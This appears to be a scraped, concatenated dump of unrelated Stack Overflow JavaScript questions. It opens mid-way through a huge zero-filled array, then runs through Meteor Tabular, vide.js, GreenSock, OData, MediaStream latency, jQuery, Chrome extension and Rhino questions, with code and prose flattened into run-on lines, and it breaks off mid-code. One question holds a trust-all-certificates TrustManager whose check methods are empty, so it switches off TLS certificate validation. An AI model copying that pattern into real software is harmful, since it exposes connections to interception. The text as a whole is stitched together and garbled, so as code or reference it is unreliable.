, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] , ] ;",Most concise way to initialize a large 2D array "JS : I am using the Meteor Tabular package which implements DataTables . I am trying to create a table from a Mongo collection . The collection has one document of the formI define the table in Meteor with the following codeThe problem is that when this is drawn , all 365 elements of each variable end up in a single cell , so I have one massive row . I want each element to be created in a separate row , i.e.whereas it is currently { input : Array [ 365 ] , output : Array [ 365 ] , date : Array [ 365 ] } TabularTables.MyTable = new Tabular.Table ( { name : `` MyTable '' , collection : MyTable , columns : [ { data : `` input '' , title : `` Input '' , searchable : false } , { data : `` output '' , title : `` Output '' , searchable : false } , { data : `` date '' , title : `` Date '' , searchable : false } ] , order : [ [ 1 , `` desc '' ] ] , pageLength : 10 } ) ; Input Output Dateinput [ 0 ] output [ 0 ] date [ 0 ] input [ 1 ] output [ 1 ] date [ 1 ] Input Output Dateinput [ 0 ... 364 ] output [ 0 ... 364 ] date [ 0 ... 364 ]",Draw each element of array in new row with DataTables ( Meteor Tabular ) "JS : I am trying to use the vide.js jQuery extension to add a video background to one of my divs . The code for the video div is as follows : It works sometimes , but if the browser cache is cleared and the page is refreshed ( ctrl/cmd + shift + R in Chrome ) , the video does not show up until the browser window is resized.I have also tried using jQuery to add the video to the div programmatically , to no avail.You can see the issue live at this address . < div id= '' header '' data-vide-bg= '' mp4 : graphics/videos/identity.mp4 , webm : graphics/videos/identity.webm , ogv : graphics/videos/identity.ogv , poster : graphics/videos/equations.png '' data-vide-options= '' posterType : 'detect ' , loop : true , muted : true , position : 0 % 0 % '' >",HTML Video only Appears on Window Resize "JS : I 'm trying to convert this Popmotion example to GreenSock.https : //codepen.io/popmotion/pen/xVeWmmBeing a total noob at GreenSock , is this easy to do ? Does GreenSock have actors and simulators ? var SELECTOR = '.box ' ; var velocityRange = [ -1000 , 1000 ] ; var maxRotate = 30 ; var smoothing = 100 ; var box = ui.select ( SELECTOR , { values : { x : 0 , y : 0 , rotateY : { watch : function ( actor ) { return actor.values.x.velocity ; } , mapFrom : velocityRange , mapTo : [ -maxRotate , maxRotate ] , smooth : smoothing } , rotateX : { watch : function ( actor ) { return actor.values.y.velocity ; } , mapFrom : velocityRange , mapTo : [ maxRotate , -maxRotate ] , smooth : smoothing } } } ) ; var track2D = new ui.Track ( { values : { x : { } , y : { } } } ) ; var springBack = new ui.Simulate ( { simulate : 'spring ' , spring : 500 , friction : 0.3 , values : { x : 0 , y : 0 } } ) ; $ ( 'body ' ) .on ( 'touchstart mousedown ' , SELECTOR , function ( e ) { e.preventDefault ( ) ; box.start ( track2D , e ) ; } ) ; $ ( 'body ' ) .on ( 'touchend mouseup ' , function ( ) { box.start ( springBack ) ; } ) ;",Converting Popmotion example to GreenSock "JS : I found it hereThis is the first time I see something like this . What it is and how it is interpreted ? I do n't understand why does it have to pass this and this.document , and what 's with the 'undefined'.The reason I am asking is because I included it in my page and Returns false , despite it returning true when I type it in the console . ; ( function ( $ , window , document , undefined ) { //code } ( jQuery , this , this.document ) ) ; if ( $ ( 'ul.mtree ' ) .length )",What is this javascript notation ? "JS : how can i check a if an element is visible or hidden with jquery and perform some action ? below given is my form related code , i need to hide the full name text field when first name text field or last name text field is displaying . < form > First name : < input type= '' text '' name= '' firstname '' > < br > Last name : < input type= '' text '' name= '' lastname '' > < br > Full name : < input type= '' text '' name= '' fullname '' > < br > DOB : < input type= '' text '' name= '' dob '' > Address : < input type= '' text '' name= '' address '' > < /form >",do something if element hidden "JS : I am using OData query builder js library to generate adhoc reports and save them to database using OData generated URL for the report along with it 's title.Above works perfectly - clients can select there tables , conditions and filters to create adhoc reports and save them to database.ProblemWhen my client come back to view reports they created , I can query JSON data using report 's URL , but I am not sure how to select or add tables , conditions and filters they selected for that particular report.E.g . a report url can be as simple as this , For above example I can using JS get the first table name `` Table1 '' in this scenario and select it in the query builder.But for complicated urls ... like this , http : //services.odata.org/Northwind/Northwind.svc/Customers ? $ filter=replace ( CompanyName , ' ' , `` ) eq 'AlfredsFutterkiste'Its extremely difficult to parse it back to HTML.Question TimeHow can I translate URLs back to HTML to select table user selected , conditions & filters they added etc.. ( preferably using JS library I mentioned in start ) One dirty work around is to save HTML along with URL and then display it back when user wants to edit a custom report , but it sounds too dirty way.This is what I am trying to generate , FIRST PART Above URL 1 - www.example.com/Table1 & $ format=json // this will return a simple table",How to reflect URL back to query builder "JS : I 'm currently spiking out a music application with HTML5/JS and am attempting to achieve the lowest latency I can with the MediaStream Recording API . The app allows a user to record music with a camera and microphone . While the camera and microphone are on , the code will allow the user to hear and see themselves.At the moment I have : If I go any lower on the latency requirement , I get an OverConstrained error . The latency is okay ( better than the default ) but still not great for the purposes of hearing yourself while you 're recording . There is a slight , perceptible lag from when you strum a guitar and hear it in your headphones.Are there other optimizations here I can make to achieve better results ? I do n't care about the quality of the video and audio as much , so maybe lowering resolution , sample rates , etc . could help here ? const stream = await navigator.mediaDevices.getUserMedia ( { video : true , audio : { latency : { exact : 0.003 } , } } ) ; // monitor video and audio ( i.e . show it to the user ) this.video.srcObject = stream ; this.video.play ( ) ;",What is a good set of constraints for lowest latency audio playback/monitoring with the MediaStream Recording API ? "JS : I am surprised by the fact that a CSS3 transition rule applied via jQuery after a jQuery-based CSS property change actually animates this property change . Please have a look at http : //jsfiddle.net/zwatf/3/ : Initially , a div is styled by two classes and has a certain height ( 200px ) due to the default CSS properties of these two classes . The height is then modified with jQuery via removal of one class : This reduces the height from 200px to 15px.After that , a transition rule is applied to the container via addition of a class : What is happening is that the reduction of the height becomes animated ( on Firefox and Chrome , at least ) . In my world , this should not happen if the order of instructions has any meaning.I guess this behavior can be very well explained . Why is that happening ? How can I prevent it ? This is what I want to achieve : modify default style with jQuery ( not animated by CSS3 transition ! ) apply transition rule with jQuerychange a property with jQuery ( animated by CSS3 transition ) ( 1 ) and ( 2 ) should happen as quickly as possible , so I do not like working with arbitrary delays . $ ( '.container ' ) .removeClass ( 'active ' ) ; $ ( '.container ' ) .addClass ( 'all-transition ' ) ;",very simple JavaScript / jQuery example : unexpected evaluation order of instructions "JS : Acutally I have a working AJAX Call that get me back after succeed to a static defined Site.It works fine with window.location but I want a dynamic site , back to this site where the use came from , like in PHP : Please do n't give me answer like history.go ( -1 ) ; becasue I do n't want cached sites . Should be do the same like the PHP code , because in some cases I need the page URL with all string ( Get-Method ) .My reference Post , to understand the step by step page working order , I want to be back all in all to the first step ( page ) but this page is not always the same one.https : //stackoverflow.com/qs/56239790 $ .ajax ( { url : 'myPage.php ' , type : 'get ' , data : { TestaufstellungID : TestaufstellungID , Datum : Datum } , dataType : 'text ' , success : function ( data ) { window.location = `` staticPage.php '' ; console.log ( 'SQL Eintrag Erfolgreich Aktuallisiert ' ) ; } , error : function ( jqxhr , status , exception ) { console.log ( exception ) ; } } ) ; header ( 'Location : ' . $ _SERVER [ 'HTTP_REFERER ' ] ) ;",Back to previous page in AJAX Call "JS : I refactored my JS code recently and stumbled upon this pattern : The advantage to this is that it creates non-global variables with the functions having access to everything defined in APP . So APP.foo can access x , y , z , and bar without typing APP.bar ( ) , APP.x , etc . Everything can also be accessed globally with APP.bar ( ) , APP.x , etc . You can also nest them : So WIDGETS would have access to variables in APP , but not visa versa ( APP.WIDGETS.hello can use foo ( ) , but APP.foo has to use WIDGETS.hello ( ) ) .I tried creating this pattern using ERB ( I 'm on Rails ) , but it turned out messy . So I 'm thinking of writing a small source-to-source compiler for this - something like CoffeeScript ( with the minimal difference/extended language philosophy of SASS ) that just compiles a few functions to alternative javascript.I just want a shorthand.For example , this would compile to my second code block above : Simple and small - just so you do n't need to keep track of the variables . Would also like to separate the namespace like thus ( so I can split it to multiple files ) : Any thoughts on how to do this ? I 'm not sure about everything , but I think if this existed , I 'd like Javascript a lot more . APP = ( function ( ) { var x , y , z ; function foo ( ) { } function bar ( ) { } return { x : x , y : y , z : z , foo : foo : bar : bar } ; } ) ( ) ; APP = ( function ( ) { var x , y , z ; function foo ( ) { } function bar ( ) { } var WIDGETS = ( function ( ) { var a , b , c ; function hello ( ) { } function world ( ) { } return { a : a , b : b , c : c , hello : hello , world : world } ; } ) ( ) ; return { x : x , y : y , z : z , foo : foo : bar : bar , WIDGETS : WIDGETS } ; } ) ( ) ; //NAMESPACE is a magical function I compile down to the long version in the second code blockAPP = NAMESPACE ( function ( ) { var x , y , z ; function foo ( ) { } function bar ( ) { } var WIDGETS = NAMESPACE ( function ( ) { var a , b , c ; function hello ( ) { } function world ( ) { } //**notice the missing return statement that I do n't need to manage and map to my variables** } ) ; //**notice the missing return statement that I do n't need to manage and map to my variables** } ) ; APP = NAMESPACE ( function ( ) { var x , y , z ; function foo ( ) { } function bar ( ) { } //**notice the missing return statement that I do n't need to manage and map to my variables** } ) ; APP = NAMESPACE ( function ( ) { var WIDGETS = NAMESPACE ( function ( ) { var a , b , c ; function hello ( ) { } function world ( ) { } //**notice the missing return statement that I do n't need to manage and map to my variables** } ) ; } ) ;",How to create a small Javascript extension language ? "JS : I have a todo list Chrome extension where all of the code is in the content . There 's nothing in background.js – mainly because I also deploy this app as a standalone website.There 's a 2 - 3 second delay between clicking on the extension 's browser action and the popup rendering . I believe it 's because Chrome is waiting before a lot of JS is run before showing the popup.What 's weird is that it loads instantly when I open the app as a tab ( it 's not a particularly heavy JS app ! ) It only shows a massive delay as a popup.Without fundamentally changing the architecture of my extension , is there a way I can get some quick wins to improve the loading performance of the popup ? What can I defer ? Here 's my manifest.json file : The app does a few things in $ ( document ) .ready : setting a class on the body , putting some things into the console , checking the storage type , and checking whether we have an internet connection.Note : If you prefer JavaScript , here is the compiled JS code that runs on each load . There 's a bit more there than what I 've included below.initialize then sets up the app : It gets the array of tasks and checks whether it 's empty , it sends an event to Google Analytics , runs a migration from an old version if necessary , shows the tasks , and does some DOM manipulation . `` background '' : { `` page '' : `` index.html '' } , '' browser_action '' : { `` default_icon '' : { `` 19 '' : `` img/icon19.png '' , `` 38 '' : `` img/icon38.png '' } , '' default_title '' : `` Super Simple Tasks '' , '' default_popup '' : `` index.html ? popup=true '' } $ ( document ) .ready - > setPopupClass ( ) standardLog ( ) checkStorageMethod ( ) checkOnline ( ) $ new_task_input = $ ( ' # new-task ' ) $ link_input = $ ( ' # add-link-input ' ) initialize ( ) initialize = - > window.storageType.get DB.db_key , ( allTasks ) - > if allTasks == null allTasks = Arrays.default_data window.storageType.set ( DB.db_key , allTasks ) ga 'send ' , 'hitType ' : 'event ' 'eventCategory ' : 'Data ' 'eventAction ' : 'Task count ' 'eventValue ' : allTasks.length Migrations.run ( allTasks ) Views.showTasks ( allTasks ) $ new_task_input.focus ( ) setTimeout ( - > $ ( ' # main-content ' ) .addClass ( 'content-show ' ) ) , 150",Chrome extension popup has a 2 - 3 second delay "JS : I am trying to do implement my own TrustManager in Javascript , but I have no idea how to implement it.In Java I have the following : I tried to use the following for the X509TrustManager : Then I dont know how to create the TrustManager . How to do this in Javascript ( Rhino 1.6 release 7 2008 01 02 ) ? TrustManager [ ] trustAllCerts = new TrustManager [ ] { new X509TrustManager ( ) { public java.security.cert.X509Certificate [ ] getAcceptedIssuers ( ) { return null ; } public void checkClientTrusted ( java.security.cert.X509Certificate [ ] certs , String authType ) { } public void checkServerTrusted ( java.security.cert.X509Certificate [ ] certs , String authType ) { } } } ; js > obj = { getAcceptedIssuers : function ( ) { return null ; } , checkClientTrusted : function ( ) { } , checkServerTrusted : function ( ) { } } [ object Object ] js > x509tm = new javax.net.ssl.X509TrustManager ( obj ) adapter1 @ 2eee9593js >",Implement own TrustManager in Javascript ( Rhino engine ) "JS : I 'm trying to create a custom range slider . I 'm having trouble getting the cursors position in percentage ( i.e . 1 - 100 ) .Here 's the relevant code : I tried the following : It almost works correctly . The only problem is , it is from -2 - 95 ( rounded ) . How can I get the sliderCursors position in percentages ? ( Please do n't post any JQuery or other `` you can use 'this ' plugin '' answers . I 'm doing this for learning purposes , and I want to create my own . Thanks ! ) JSFiddle var cursorPosition = e.clientX - startPoint.left - cursorRadius ; cursorPosition = clamp ( cursorPosition , startPoint.left- cursorRadius , sliderDimention- cursorRadius*2 ) ; function clamp ( value , min , max ) { return Math.min ( Math.max ( value , min ) , max ) ; } console.log ( ( cursorPosition / sliderDimention ) * 100 ) ; function RangeSlider ( /** DOM Elem */ parentElem ) { var wrapperElem = document.getElementsByClassName ( 'wrapperElem ' ) [ 0 ] , slider = document.getElementsByClassName ( 'slider ' ) [ 0 ] , sliderCursor = document.getElementsByClassName ( 'sliderCursor ' ) [ 0 ] ; var sliderDimention = slider.offsetWidth , cursorRadius = sliderCursor.offsetHeight / 2 , startPoint , currentTarget ; function sliderDown ( e ) { e.preventDefault ( ) ; currentTarget = null ; var 